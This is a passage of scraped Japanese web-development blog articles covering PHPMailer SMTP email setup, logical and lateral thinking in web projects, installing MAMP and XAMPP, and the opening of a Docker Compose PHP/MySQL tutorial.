md:grid-cols-3 gap-8 px-4"> 狭い画面では1列、md 以上で3列。中央のカードだけ ring-2 ring-black で立たせます。枠線の色は前述のとおり明示すること。スペック表は overflow-x-auto を付けた要素で包みます。 スクロールでフェードインさせる 表示のきっかけは IntersectionObserver で取り、見た目の変化はCSSに任せます。 ### [PHPMailer完全ガイド｜Gmail・ConoHa・Xserver対応のSMTPメール送信](https://codequest.work/phpmailer-secure-email-example/) PHPMailerとは？mail()関数との違い PHPMailer（ピーエイチピーメーラー）は、PHPでメールを送信するためのオープンソースライブラリです。WordPress・Drupal・Joomla!など、世界中の主要CMSにも採用されています。 PHP標準のmail()関数でもメール送信は可能ですが、実務ではほぼ使われません。その理由を比較表で確認してみましょう。 比較項目mail()関数PHPMailerSMTP認証✕ 非対応◎ 対応HTMLメール△ 手動でヘッダー設定が必要◎ isHTML(true)だけ添付ファイル△ 複雑なMIME処理が必要◎ addAttachment()だけ日本語対応△ 文字化けしやすい◎ UTF-8/base64で安定SSL/TLS暗号化✕ 非対応◎ 対応エラーハンドリング✕ true/falseのみ◎ 詳細なエラーメッセージGmail送信✕ 不可◎ アプリパスワードで対応迷惑メール対策△ スパム判定されやすい◎ SMTP認証で信頼性向上 特に重要なのがSMTP認証への対応です。SMTP認証とは、メール送信時にサーバーに「自分は正規のユーザーですよ」と証明する仕組みのことです。mail()関数ではこの認証ができないため、送信したメールが迷惑メールフォルダに振り分けられるリスクが高くなります。 PHPMailerの導入方法 方法1：Composerを使う（推奨） Composerは、PHPのライブラリ管理ツールです。npmやpipのPHP版と考えるとわかりやすいでしょう。 ターミナルでプロジェクトのディレクトリに移動し、以下を実行します。 composer require phpmailer/phpmailer インストール後、以下の1行でPHPMailerを使えるようになります。 require 'vendor/autoload.php'; ディレクトリ構成例： project/ ├── vendor/ ├── send.php └── .env（任意でSMTP情報を環境変数化） 方法2：手動で設置する（Composerが使えない場合） レンタルサーバーなどComposerが使えない環境では、手動インストールも可能です。 手順： GitHubからダウンロード → PHPMailer公式リポジトリ src/フォルダから必要なファイルをプロジェクトに配置 以下の3行で読み込む require_once 'path/to/PHPMailer/src/Exception.php'; require_once 'path/to/PHPMailer/src/PHPMailer.php'; require_once 'path/to/PHPMailer/src/SMTP.php'; 注意：手動インストールの場合、セキュリティアップデートは自分で管理する必要があります。可能な限りComposerを使いましょう。 基本のメール送信コード（コピペで使える） 以下は、PHPMailerでSMTPメール送信する最小構成のコードです。// ← 変更の部分を自分の環境に書き換えるだけで動きます。 <?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'vendor/autoload.php'; $mail = new PHPMailer(true); try { // ===== SMTP設定 ===== $mail->isSMTP(); $mail->Host = 'smtp.gmail.com'; // ← 変更：SMTPサーバー $mail->SMTPAuth = true; $mail->Username = 'your@gmail.com'; // ← 変更：メールアドレス $mail->Password = 'xxxx xxxx xxxx xxxx'; // ← 変更：アプリパスワード $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; // ===== 日本語対応 ===== $mail->CharSet = 'UTF-8'; $mail->Encoding = 'base64'; // ===== 送信元・送信先 ===== $mail->setFrom('your@gmail.com', '送信者名'); // ← 変更 $mail->addAddress('to@example.com', '受信者名'); // ← 変更 // ===== メール内容 ===== $mail->isHTML(false); // テキストメールの場合 $mail->Subject = 'テストメール'; $mail->Body = 'PHPMailerからのテスト送信です。'; $mail->send(); echo 'メールが送信されました'; } catch (Exception $e) { echo "送信に失敗しました: {$mail->ErrorInfo}"; } コードのポイント new PHPMailer(true)のtrueとは？ 例外処理（Exception）を有効にする設定です。trueにしておくと、送信に失敗したときcatchブロックで詳細なエラーメッセージを取得できます。デバッグ時に非常に便利なので、常にtrueにしておきましょう。 日本語の文字化け対策 以下の2行は日本語メールを送る場合に必須です。 $mail->CharSet = 'UTF-8'; $mail->Encoding = 'base64'; CharSetで文字コードを、Encodingでエンコーディング方式を指定します。この2行がないと、件名や本文の日本語が文字化けします。 サーバー別SMTP設定一覧 環境に合わせてHost・Port・SMTPSecure・認証情報を変更してください。 Gmail $mail->Host = 'smtp.gmail.com'; $mail->Username = 'your@gmail.com'; $mail->Password = 'アプリパスワード（16桁）'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; Gmailで送信するための事前準備： Googleアカウントで2段階認証を有効化する Googleアカウント設定 → セキュリティ → 「アプリパスワード」を発行 発行された16桁のパスワードを$mail->Passwordに設定 重要：Googleアカウントの通常パスワードは使えません。必ず「アプリパスワード」を使ってください。 ConoHa WING $mail->Host = 'mail.yourdomain.com'; // 例：mail.codequest.work $mail->Username = 'info@yourdomain.com'; $mail->Password = 'メールアカウントのパスワード'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; $mail->Port = 465; ConoHa WINGのコントロールパネル → メール管理 → メール設定 でSMTP情報を確認できます。 これからサーバーを決める段階なら、ConoHa WINGは自分に合うか（契約前の確認）に、途中解約の可否や無料お試しの有無といった契約条件をまとめています。 Xserver $mail->Host = 'sv●●●●.xserver.jp'; // サーバーパネルで確認 $mail->Username = 'info@yourdomain.com'; $mail->Password = 'メールアカウントのパスワード'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; $mail->Port = 465; Xserverのサーバーパネル → メールアカウント設定 でSMTP情報を確認できます。 さくらのレンタルサーバ $mail->Host = '初期ドメイン.sakura.ne.jp'; $mail->Username = 'メールアドレス@初期ドメイン'; $mail->Password = 'メールパスワード'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; SSL／TLSの選び方 SMTPSecureに適切な方式を設定することで、メール送信時の盗聴リスクを減らせます。ポートと暗号化方式の正しい組み合わせは以下の通りです。 ポート暗号化方式PHPMailerの設定値587STARTTLSPHPMailer::ENCRYPTION_STARTTLS465SSL/TLSPHPMailer::ENCRYPTION_SMTPS HTMLメール・添付ファイルの送信方法 HTMLメールを送る $mail->isHTML(true); $mail->Subject = 'HTMLメールのテスト'; $mail->Body = '<h1>こんにちは</h1><p>HTMLメールのテスト送信です。</p>'; $mail->AltBody = 'こんにちは。HTMLメールのテスト送信です。'; AltBodyは、HTMLメールに対応していないメールクライアント向けのプレーンテキスト版です。設定しなくても動きますが、設定しておくとメールの到達率が上がります。 添付ファイルを送る // ファイルパスで添付 $mail->addAttachment('/path/to/file.pdf', '請求書.pdf'); // 複数ファイルも可能 $mail->addAttachment('/path/to/image.jpg', '写真.jpg'); CC・BCC・Reply-Toの設定 $mail->addCC('cc@example.com', 'CCの宛名'); $mail->addBCC('bcc@example.com'); $mail->addReplyTo('reply@example.com', '返信先の名前'); お問い合わせフォームの実装（入力→確認→送信） サンプルメールフォームを見る → PHPMailerを使って、確認画面付きのお問い合わせフォームを実装する方法を解説します。入力→確認→送信完了の3ステップ構成です。 index.php → ユーザーが入力するフォーム画面 confirm.php → 入力内容を確認する画面 thanks.php → メール送信後の完了画面 各ページ間ではsessionを使ってデータを保持し、入力内容をconfirm.phpで確認後にthanks.phpで送信します。 ### [ロジカルシンキングとラテラルシンキング｜三方良しを設計できる思考バランス](https://codequest.work/logical-lateral-thinking-web/) Web制作の現場で「この人に頼みたい」と言われるのは、手が速い人でも、奇抜な発想ができる人でもありません。クライアントの成果と、サイトを使う人の便益と、自分の仕事の持続可能性を、同時に成立させられる人です。 ロジカルシンキングは筋道を立てて答えを1つに絞り込む垂直思考、ラテラルシンキングは前提を疑って選択肢を増やす水平思考です。実務で成果を出し続けるのは、どちらかが得意な人ではなく、この2つを行き来できる人です。片方だけでは、正しいけれど平凡な案か、面白いけれど実行できない案のどちらかにしかたどり着けません。 この記事では、2つの思考法の違いを整理したうえで、バランスの取れた人がなぜ「三方良し」の答えにたどり着けるのか、自分がどちらに偏っているかをどう判定するか、そして偏りをどう直すかまでを解説します。 ロジカルシンキングとラテラルシンキングの違い 2つの思考法は対立するものではなく、担当する仕事が違います。まず違いを一覧で押さえておきます。 比較項目ロジカルシンキング（垂直思考）ラテラルシンキング（水平思考）考え方筋道を立てて縦に掘り下げる前提を疑って横に広げる典型的な問い「なぜそうなっているのか」「そもそも必要なのか」答えの数1つに絞り込む複数に増やす得意なこと課題の特定・設計・検証発想・差別化・突破口づくり単独で使うと正しいが平凡になる面白いが実行できないWeb制作での出番要件定義・情報設計・改善コンセプト立案・UI提案・企画 ロジカルシンキング｜縦に掘って絞り込む ロジカルシンキングとは、物事を筋道立てて、矛盾なく整理・分析して考える思考法です。事実を分解し、因果関係をたどり、最も確からしい結論に絞り込んでいきます。 問題の本質を捉える 情報を分解して整理する 最も合理的な解決策を導く Web制作でいえば、サイト構成の設計、ユーザー導線の設計、課題の発見に必須のスキルです。「なぜこのLPでコンバージョンが低いのか」「ユーザーはどこで離脱しているのか」といった問いを分解していくことで、はじめて正しい打ち手が見つかります。 ページを洗い出して階層に組み立てる作業は、ロジカルシンキングがそのまま形になる工程です。具体的な手順はサイト構造の設計手順｜ページ洗い出しから階層を組み立てる情報設計のやり方で解説しています。 ラテラルシンキング｜横に広げて前提を疑う ラテラルシンキングとは、常識や前提を疑い、自由な発想で新しい視点を得ようとする思考法です。1つの答えに向かって掘るのではなく、答えの候補そのものを増やしにいきます。 この言葉を生み出したのは、思考法研究者のエドワード・デ・ボノです。公式サイト（de Bono）では、ラテラルシンキングを「違う考え方をするための構造化されたアプローチ（a structured approach for thinking differently）」と説明しています。思いつきの別名ではなく、意図的に前提をずらすための技術だという点は、押さえておく価値があります。 固定概念にとらわれない 新しい切り口を見つける 斬新なアイデアを生み出す Web制作では、デザインコンセプトの提案、UI/UX設計、差別化戦略で威力を発揮します。「飲食店のサイトをあえてアプリのようなUIで作る」「商品紹介ページを漫画で表現する」といった発想は、前提を一度外さなければ出てきません。 ただし、自由な発想と「なんとなく」は違います。発想を人に説明できる形にするには原則の裏づけが要ります。「デザイン理論」とは？UI/UXデザインの質を上げる6つの基本原則が、その土台になります。 バランスが取れている人は「三方良し」を設計できる Web制作の仕事には、常に3つの利害が同時に存在しています。 クライアントの事業成果：問い合わせが増える、売上が上がる、採用が決まる サイトを使う人の便益：探しているものが見つかる、迷わない、また来たいと思う 作り手である自分の持続可能性：赤字にならない、消耗しない、次につながる この3つが同時に立っている状態を、近江商人の言葉を借りて三方良しと呼びます。どれか1つを犠牲にすれば仕事はいったん前に進みますが、犠牲にした分は必ず後から戻ってきます。クライアントだけを見れば使いにくいサイトができ、利用者だけを見れば売上につながらず、自分だけを見れば二度目の依頼が来ません。 そして、この3つが重なる一点は探さなければ見つかりません。ここに、思考のバランスが効いてきます。 クライアントの成果・利用者の便益・自分の持続。3つが同時に立つ一点を探しにいくのが、思考を往復させる目的です。 ロジカルだけの人は「言われた通り」で止まる ロジカルシンキングは、与えられた前提の中で最適解を出す力です。裏を返すと、前提そのものは疑いません。 「トップページに動画を入れたい」と言われたとき、ロジカル一辺倒の人は、動画をどう軽量化して、どこに置いて、どう計測するかを詰めます。仕事としては正しく、納品物にも問題はありません。ただ、そのクライアントが本当に困っているのが「問い合わせが月に2件しかない」ことだった場合、動画を完璧に実装しても数字は動きません。 これはクライアントの要望は満たしたが、事業成果にも利用者の便益にも届いていない状態です。三方のうち、誰も明確には得をしていません。要望を要件のまま受け取るか、その奥にある目的まで戻れるかの差が、ここで出ます。 ラテラルだけの人は「独りよがり」に落ちる 逆に、ラテラルシンキングだけで走ると、前提を壊すこと自体が目的化します。斬新な提案は出てきますが、それが誰の得になるのかを検証する装置を持っていません。 スクロールに合わせて画面全体が変形する凝ったサイトを提案し、通ったとします。実装には想定の倍の工数がかかり、表示は重くなり、スマートフォンでは操作しづらい。作り手は「攻めた仕事ができた」と満足しますが、利用者は離脱し、クライアントの数字は下がり、自分は赤字を抱えます。 面白い案が悪いのではありません。面白さを、三方の利害で検算していないことが問題です。ラテラルは道具であって、主役は相手と目的の側にあります。 2つを行き来すると、三方の重なる一点が見える 三方良しの解が見つかるのは、次の順序で思考を往復させたときです。 ロジカルで三方の現在地を分解する：クライアントは何で困っているか、利用者は何ができずにいるか、自分の工数はどこまで出せるか ラテラルで前提を外し、候補を増やす：その困りごとは、本当にこのページで解決すべきものか。別の形なら3つ同時に立たないか ロジカルで三方それぞれに検算する：この案でクライアントの数字は動くか、利用者は楽になるか、自分は続けられるか さきほどの「トップページに動画を入れたい」に戻ります。ロジカルに分解すると、問い合わせが少ない原因は、動画の有無ではなく「価格の目安がどこにも書かれておらず、問い合わせるまで判断できないこと」だったとします。 ここでラテラルに振ると、「動画で会社を説明する」という前提を外して、「価格帯と事例を先に見せる」「見積もりの目安が自分で分かる簡易シミュレーターを置く」といった候補が出てきます。最後にロジカルで検算すると、シミュレーターは工数が重いので初回は見送り、まず価格帯の明示と事例3件の追加から始める、という判断になります。 これが三方の重なる一点です。クライアントは問い合わせの質が上がり、利用者は問い合わせる前に判断でき、作り手は現実的な工数で納められる。ロジカルだけでは動画を作って終わり、ラテラルだけではシミュレーターを作って赤字になっていたはずの案件です。 三方良しという原則そのものと、施策を打つ前に「やらない」を決める判定のやり方は、WEBマーケティングの本質は三方良し｜江戸時代から続く普遍的原則と実践法で詳しく扱っています。本記事が「三方良しにたどり着くための思考」だとすれば、あちらは「三方良しで施策を判定する手順」です。 あなたはどちらに偏っているか｜セルフチェック バランスを取るには、まず自分の偏りを知る必要があります。直近3か月の自分の仕事を思い出しながら、当てはまるものを数えてください。 ロジカル偏重のサイン 要望をそのまま要件に変換して着手することが多い 提案が「参考サイトに近いもの」に落ち着きがち アイデア出しの場で、実現可能性の指摘から入ってしまう 「他社と何が違うのか」と聞かれると答えに詰まる 相見積もりで、価格以外の理由で選ばれた記憶が少ない ラテラル偏重のサイン 提案は褒められるが、予算や納期で流れることが多い 公開後の数字を、自分から見に行っていない 見積もりが実工数と合わず、後半が持ち出しになりがち 「なぜこの設計なのか」を、感覚以外の言葉で説明しづらい チームに渡すと、意図が伝わらず作り直しが発生する 判定の読み方 結果状態次にやること片方が3つ以上、もう片方が1つ以下はっきり偏っている多い側の章を読み、最初の一手を1つだけ実行する両方が2〜3つ状況によって揺れている案件ごとに「今どちらのモードか」を口に出して切り替える両方が1つ以下バランスが取れている思考の順序を言語化し、チームに渡せる形にする両方が4つ以上偏りではなく、業務量か環境の問題思考法より先に、案件数と裁量を見直す 注意したいのは、偏りは能力の高低ではないということです。ロジカル偏重の人は信頼される納品ができ、ラテラル偏重の人は場を動かす提案ができます。足りないのは、もう片方を「使う場面を決めていない」ことだけです。 偏りを直す最初の一手 苦手な側を鍛えようとすると続きません。やることを1つに絞り、次の案件で必ず1回だけやるのが現実的です。 ロジカル偏重の人がやること 要件を確定する前に、前提を1つだけ声に出して壊す。「そもそもこのページは必要か」「この機能を作らずに同じ目的を達成する方法はないか」と、必ず1回は問い直します。 壊した前提は採用しなくて構いません。目的は案を通すことではなく、「他の選択肢を検討したうえでこれを選んだ」と説明できる状態を作ることです。これがあるだけで、提案は「言われた通り」から「選んだ理由がある」に変わります。 もう1つ有効なのは、異業種の解決策を持ち込むことです。飲食店の予約フローをBtoBの資料請求に応用する、といった横のつなぎ方は、本当のマーケティングとは？経営・営業との役割分担と販路設計で扱っている販路の考え方が参考になります。 前提を疑う練習だけを取り出してやりたい場合は、バグ調査は水平思考だった｜実務ネタのウミガメのスープを作ったで紹介している水平思考クイズが使えます。実務で起きるトラブルを題材に、質問で範囲を削っていく手つきをそのまま鍛えられます。 ラテラル偏重の人がやること 提案する前に、目的を1文で書く。「このサイトは、誰が、何をできるようになれば成功か」を、装飾なしの1文にします。書けないときは、まだ提案の段階ではありません。 そのうえで、公開後に数字を見に行く習慣をつけます。自分の案が当たったのか外れたのかを事実で知ることが、ロジカル側の筋力になります。仮説を立てて実測で確かめる手順は、デベロッパーツールを使える人は伸びる｜Chrome DevToolsで仮説と検証を回す手順にまとめています。 数字を見ると、当たらなかった案が必ず出てきます。それは発想力の否定ではなく、次の発想を現実に着地させるための材料です。この材料を持っている人だけが、面白い案を通し続けられます。 ラテラルシンキングだけに頼ると危険な理由 ラテラルシンキングは強力な武器ですが、単独で使うと具体的な形で事故が起きます。よくある3つを挙げます。 現実離れしたアイデアに走る 自由な発想だけを追求すると、実現不可能な案や、コスト面で非現実的な案ばかりが出てきます。「毎日デザインが変わるサイトにしよう」は面白い着想ですが、予算と運用工数を考えると多くの案件で成立しません。 ### [MAMPとXAMPPの導入方法｜ローカル環境構築の手順と違いを徹底解説｜PHP開発入門](https://codequest.work/mamp-xampp-setup-guide/) Web開発を学び始めたばかりの方にとって、まず必要なのがローカル環境の構築です。 この記事では、PHPの学習やWordPressの動作確認に役立つ「MAMP」「XAMPP」というローカルサーバーの使い方を、初心者向けにわかりやすく解説します。 MAMPとXAMPPとは？ 項目MAMPXAMPP対応OSmacOS / WindowsmacOS / Windows / Linux使いやすさ初心者向けでシンプル多機能で中級者以上にもおすすめMySQL操作あり（phpMyAdmin付き）あり（phpMyAdmin付き）PHPバージョン選択Pro版で可能複数バージョン対応（インストール時に選択） どちらも「Apache + MySQL + PHP」の環境をワンクリックで構築できる便利なツールです。 1. MAMPのインストール手順 1-1. MAMPのダウンロード 公式サイトへアクセス mac または Windows の「Free Download」ボタンをクリック ダウンロードしたインストーラーを起動 1-2. インストール手順（例：mac） ダウンロードした.pkgファイルを開く 「続ける」「同意する」などを選択しながら進める インストールが完了したらアプリケーション > MAMPフォルダに配置されます 1-3. 初期設定 MAMPを起動し、コントロールパネルが表示される 「Preferences（環境設定）」 > 「Ports」で下記のように設定するのがおすすめ サービスポートApache8888Nginx7888MySQL8889 「Web Server」タブでドキュメントルートを確認（例：/Applications/MAMP/htdocs） 1-4. ブラウザでの動作確認 htdocs フォルダに index.php を作成（例：<?php phpinfo(); ?>） ブラウザで http://localhost:8888/ にアクセス PHP情報ページが表示されれば成功！ 2. XAMPPのインストール手順 2-1. XAMPPのダウンロード 公式サイトへアクセス OSに応じて「Download」ボタンをクリック（macOS / Windows） インストーラーを起動 2-2. インストール手順（例：Windows） .exeファイルを実行 セキュリティ警告が出たら「許可」 Apache, MySQL などを選択して進める（基本はすべてオンでOK） 2-3. XAMPPの起動と確認 XAMPP Control Panel を起動 「Apache」「MySQL」をそれぞれ「Start」ボタンで起動 ブラウザで http://localhost/ にアクセス → XAMPPの初期画面が表示されればOK！ 2-4. ファイル配置と表示確認 htdocs フォルダ内にPHPファイルを作成 例：htdocs/test/index.php → ブラウザで http://localhost/test/ にアクセス 3. よくあるトラブルと対処法 症状対処法Apacheが起動しないSkypeや他アプリがポート80を使っている→アプリを終了またはポート変更403 Forbidden が出るファイルやフォルダのパーミッションを確認（644, 755推奨）ブラウザで localhost が表示されないApacheが未起動／ファイル名ミスなどを確認 4. MAMPとは？初心者向けローカル開発環境の基本 MAMPとは、macOS・Windows上でApache・MySQL・PHPをワンパッケージでインストールできるローカル開発環境ツールです。名前の由来は「Macintosh・Apache・MySQL・PHP」の頭文字で、もともとmacOS向けに開発されました。 MAMPの最大の特徴は操作のシンプルさです。アプリケーションを起動して「Start Servers」をクリックするだけで、Apache・MySQLが同時に立ち上がります。初めてローカルサーバーを使う方でも、5分以内にPHPの実行環境を構築できます。 無料版のMAMPでも基本的なローカル開発には十分ですが、有料のMAMP PROではバーチャルホストの設定やPHPバージョンの切り替えがGUIで簡単に行えます。WordPress開発で複数サイトを並行して管理したい場合は、MAMP PROの導入を検討しましょう。 5. XAMPPとは？MAMPとの違いを比較 XAMPPとは、Apache Friendsが提供するオープンソースのローカル開発環境パッケージです。名前は「X（クロスプラットフォーム）・Apache・MariaDB・PHP・Perl」の頭文字に由来し、Windows・macOS・Linuxの3つのOSに対応しています。 XAMPPはMAMPと比べて多機能で拡張性が高いのが特徴です。FileZilla（FTPサーバー）やMercury（メールサーバー）などの追加コンポーネントも同梱されており、より本番に近い環境を再現できます。 以下の表で、MAMPとXAMPPの違いを詳しく比較します。 比較項目MAMPXAMPP開発元MAMP GmbH（ドイツ）Apache Friends（オープンソース）対応OSmacOS / WindowsmacOS / Windows / LinuxデータベースMySQLMariaDB（MySQL互換）追加コンポーネントなし（シンプル構成）FileZilla・Mercury・Tomcat同梱GUIの使いやすさ直感的でシンプル機能が多くやや複雑PHPバージョン切替Pro版で対応別バージョンを並行インストール有料版MAMP PRO（約7,000円）完全無料Linuxサポート非対応対応 6. MAMP vs XAMPP どちらを選ぶべきか？用途別おすすめ MAMP vs XAMPPで迷っている方は、使用OS・開発用途・スキルレベルの3つの観点で選ぶのがおすすめです。以下のチェックリストを参考にしてください。 MAMPが向いている人 macOSメインで開発する方：MAMPはmacOS向けに最適化されており、インストールから起動まで最もスムーズです PHP・WordPress学習を始めたばかりの初心者：余計な設定項目がなく、迷わず使い始められます 個人開発でシンプルな環境がほしい方：Apache + MySQL + PHPだけあれば十分な場合はMAMPが最適です XAMPPが向いている人 Windowsで開発する方：XAMPPはWindows環境での動作実績が豊富で、情報も多く見つかります Linuxサーバーへのデプロイを想定している方：XAMPPはLinux版もあるため、本番環境に近い構成でテストできます FTPやメール送信のテストも行いたい方：FileZillaやMercuryが同梱されており、追加インストールなしで利用できます どちらでもない場合はDockerも検討 チーム開発で環境を統一したい場合や、本番環境と完全に同じ構成を再現したい場合は、MAMP・XAMPPではなくDockerの導入をおすすめします。ただしDockerはコマンドライン操作が必要なため、まずはMAMPまたはXAMPPでローカル開発の基本を理解してから移行するのが効率的です。 ▶ Dockerの基礎とローカル開発環境の作り方はこちら 7. まとめ MAMPもXAMPPも、数クリックで簡単にWebサーバー環境を構築できる強力なツールです。 MAMP：macユーザーやシンプル操作が好きな人におすすめ XAMPP：Windowsユーザーや多機能を使いたい人に最適 PHP学習やWordPress開発の第一歩として、ぜひ使いこなしてみてください！ 実務Tips（ベストプラクティス集） 環境選定の目安 MAMP: macOS ユーザーに定番。インストール簡単・UIで設定管理しやすい。 XAMPP: Windows ユーザーに人気。より細かいカスタマイズが可能。 チーム開発やクラウド移行前提なら Docker も検討。 インストール時の注意 インストール先はデフォルト推奨（権限トラブル防止）。 日本語やスペースを含むパスは避ける。 Windows の場合は UAC 管理外のディレクトリ（例: C:\xampp）が安心。 PHP/Apache/MySQL の設定 PHP バージョンは実務案件で使うものに揃える。 php.ini は必ずバックアップを取ってから編集。 MySQL は root にパスワードを設定し、テスト用ユーザーを作成。 開発のベストプラクティス ドキュメントルートにプロジェクトごとのフォルダを分ける。 エラー表示は display_errors=On、本番移行前に必ず Off。 logs ディレクトリを見やすい場所にまとめておくとデバッグ効率が上がる。 運用・パフォーマンス XAMPP Control Panel/MAMP UI は常駐させず、必要な時だけ起動。 大規模開発や本番に近い動作確認には 仮想環境（Vagrant, Docker） を利用。 MAMP PRO は複数バーチャルホストを GUI で簡単に設定可能。 よくある質問 Q. MAMP と XAMPP の違いは？ A. どちらも Apache・MySQL・PHP をまとめたローカル開発環境ですが、MAMPはmacOS向けにシンプルさを重視、XAMPPはクロスプラットフォーム対応で多機能という違いがあります。macOSユーザーにはMAMP、WindowsやLinuxユーザーにはXAMPPが選ばれることが多いです。 Q. 本番環境でも MAMP/XAMPP を使えますか？ A. 推奨されません。あくまで ローカル開発用 です。本番は VPS やクラウド（ConoHa、AWS、GCP など）を使います。 Q. MySQL の root パスワードは変更すべき？ A. はい。デフォルトは空なので、最低限パスワード設定を行いましょう。 Q. PHP のバージョンを切り替える方法は？ A. MAMP PRO なら GUI で切り替え可能。XAMPP では複数バージョンを別フォルダにインストールして使い分けます。 Q. Docker との違いは？ A. MAMP/XAMPP は GUI で簡単にセットアップ可能ですが、Docker は本番環境に近い構成を再現できます。チーム開発なら Docker の方が適しています。 Q. Mac の場合、Homebrew での構築とどちらが良い？ A. 柔軟にカスタマイズしたいなら Homebrew、シンプルに学習を始めたいなら MAMP がおすすめです。 ローカルで動いたら、次は公開先の準備です。 ### [Docker Composeで作るPHP・MySQLのローカル開発環境](https://codequest.work/docker-basics/) Dockerで作った開発環境が「本当に立ち上がったか」は、docker compose ps の STATUS が全行 Up になっていて、PORTS の -> の左側に 0.0.0.0: が付いているかで判定できます。ブラウザで真っ白なページが出たときに、コンテナが落ちているのか、ポートがホストに出ていないのか、アプリ側のエラーなのかを切り分けられるのはこの1行です。 MAMPやXAMPPでローカル環境を作った次に出てくる悩みは、たいてい「自分のMacでは動くのに、他のメンバーの環境では動かない」「本番のPHPバージョンと手元が揃っていない」の2つです。Docker Composeは、この2つを設定ファイル1枚に押し込んで、チーム全員が同じ手順で同じ環境を起動できるようにするための道具です。 ところが、ネット上に転がっているDocker Composeのサンプルは、そのまま貼っても動かないものが少なくありません。Apple SiliconのMacに対応していないイメージを指定していたり、いまは警告が出るだけの古い記述が残っていたりするからです。この記事の構成は、実際にApple Silicon（Darwin arm64）のMacで起動して確認したものだけを載せています。 この記事では、PHP＋MySQL＋phpMyAdminの開発環境を compose.yaml で立ち上げ、それが動いていることを自分で判定し、動かなかったときにエラーメッセージから原因を1手で特定するところまでを扱います。Dockerそのものの網羅的な入門ではなく、「MAMP/XAMPPの次」に絞った内容です。 MAMP・XAMPPの次にDockerを選ぶ理由 Dockerとは、アプリケーションと、その動作に必要なライブラリ・設定・ミドルウェアをひとまとめにして、どのマシンでも同じ状態で起動できるようにするコンテナ型の実行環境です。MAMPやXAMPPが「自分のPCにPHPとMySQLを入れる」道具であるのに対し、Dockerは「PHPとMySQLが入った箱を、設定ファイルどおりに毎回作り直す」道具だと考えると差がつかみやすくなります。 「自分の環境では動く」が通用しなくなる地点 ひとりで作っている間は、MAMPで十分です。問題が出るのは、次のどれかに当たったときです。 複数人で同じリポジトリを触るようになり、メンバーのPHPバージョンが揃わなくなった 案件ごとにPHPやMySQLのバージョンが違い、1つのMAMPで両立できなくなった 本番サーバーの構成に手元を寄せたいが、GUIの設定画面では細かく合わせられない 新しいメンバーの環境構築に半日かかり、手順書がすぐ陳腐化する Docker Composeを使うと、この4つはすべて「compose.yaml をリポジトリに置いて、全員が docker compose up -d を叩く」に置き換わります。手順書が設定ファイルそのものになるので、陳腐化しません。 MAMPを消す必要はない DockerとMAMPは排他ではありません。既存案件はMAMPのまま、新しい案件からDockerにする、という併存が普通です。ぶつかるのはホスト側のポートだけなので、MAMPを起動したままDockerを使う場合は、あとで説明する ports: の左側の番号を重ならないようにしておけば問題ありません。 MAMP・XAMPPそのものの導入手順や、どちらを選ぶかの判断は別記事にまとめています。 ▶ MAMPとXAMPPの導入手順と選び方はこちら Docker Composeとcompose.yamlの基本 Docker Composeとは、複数のコンテナ（Webサーバー、データベース、管理ツールなど）の構成を1つのYAMLファイルに書き、まとめて起動・停止するためのツールです。Docker Desktopを入れると同梱されるので、個別のインストールは不要です。 ファイル名は compose.yaml が正 古い記事では docker-compose.yml という名前が使われていますが、現在の公式ドキュメントは compose.yaml を推奨しています。Docker公式のCompose application modelには「The default path for a Compose file is compose.yaml (preferred) or compose.yml」「If both files exist, Compose prefers the canonical compose.yaml」と明記されています。docker-compose.yml も後方互換として読まれるため、既存プロジェクトのファイル名を急いで変える必要はありません。新規に作るなら compose.yaml です。 コマンドは docker compose（スペース区切り） ハイフンでつないだ docker-compose はPythonで書かれたCompose v1のコマンドです。Docker公式ブログ「Docker Compose: What's New, What's Changing, What's Next」で「Compose V1 support will no longer be provided after June 2023 and will be removed from all future Docker Desktop versions」と告知されており、現行はGoで書かれたv2以降です。Docker公式のHistory and development of Docker Composeによると、2026年8月時点でサポートされているCLIはCompose v2とCompose v5の2つで、どちらも docker compose というスペース区切りの形で呼び出します。 混乱しやすいのは、いまのDocker Desktopでも docker-compose と打つと動いてしまう点です。これはv1が生き残っているのではなく、Docker Desktopが同名のシンボリックリンクを用意しているだけです。手元のmacOS（Docker Desktop同梱のCompose v2.32.4）で確認すると、/usr/local/bin/docker-compose は /Applications/Docker.app/Contents/Resources/cli-plugins/docker-compose へのリンクで、docker-compose version の出力も Docker Compose version v2.32.4-desktop.1 でした。つまり動いているのは最初からv2です。新しく覚えるならスペース区切りだけで十分です。 最低限おぼえる6コマンド コマンドやること使うタイミングdocker compose up -d全サービスをバックグラウンドで起動作業開始時docker compose ps起動状態とポートの割り当てを表示動いているか確認するときdocker compose logs db指定サービスのログを表示起動に失敗したときdocker compose exec db bash起動中のコンテナ内でコマンド実行DBに入って調べるときdocker compose downコンテナとネットワークを削除（名前付きvolumeは残る）作業終了時docker compose down -v名前付きvolumeまで削除DBを初期状態に戻したいとき down と down -v の違いは、後述するデータ永続化の話に直結します。-v を付けるとDBの中身が消えるので、普段の終了時は付けないでください。 PHP＋MySQL＋phpMyAdminの開発環境をcompose.yamlで作る ここからが本体です。次の2ファイルを作るだけで、PHPが動くWebサーバー・MySQL・phpMyAdminの3つが立ち上がります。まず作業用のディレクトリを1つ作ってください。ここでは docker-php という名前で進めます。 compose.yaml を置く services: web: image: php:8.4-apache ports: - "8080:80" volumes: - ./src:/var/www/html db: image: mysql:8.4 environment: MYSQL_ROOT_PASSWORD: rootpass MYSQL_DATABASE: sample_db volumes: - db_data:/var/lib/mysql phpmyadmin: image: phpmyadmin ports: - "8081:80" environment: PMA_HOST: db volumes: db_data: 読み方のポイントは3つです。ports: の "8080:80" は「ホストの8080番をコンテナの80番につなぐ」という意味で、左がMacやWindows側、右がコンテナ側です。volumes: の ./src:/var/www/html は手元の src ディレクトリをドキュメントルートに割り当てる指定で、ファイルを保存すればそのままブラウザに反映されます。db_data:/var/lib/mysql はDBの保存先をコンテナの外（名前付きvolume）に逃がす指定で、これが無いとコンテナを作り直した瞬間にテーブルが消えます。 動作確認用のPHPファイルを置く src/index.php を作り、次の1行だけ書きます。バージョンを出力させておくと、あとで「本当にコンテナのPHPが動いているか」を目視で確認できます。 <?php echo "PHP " . PHP_VERSION . " is running in a container.\n"; 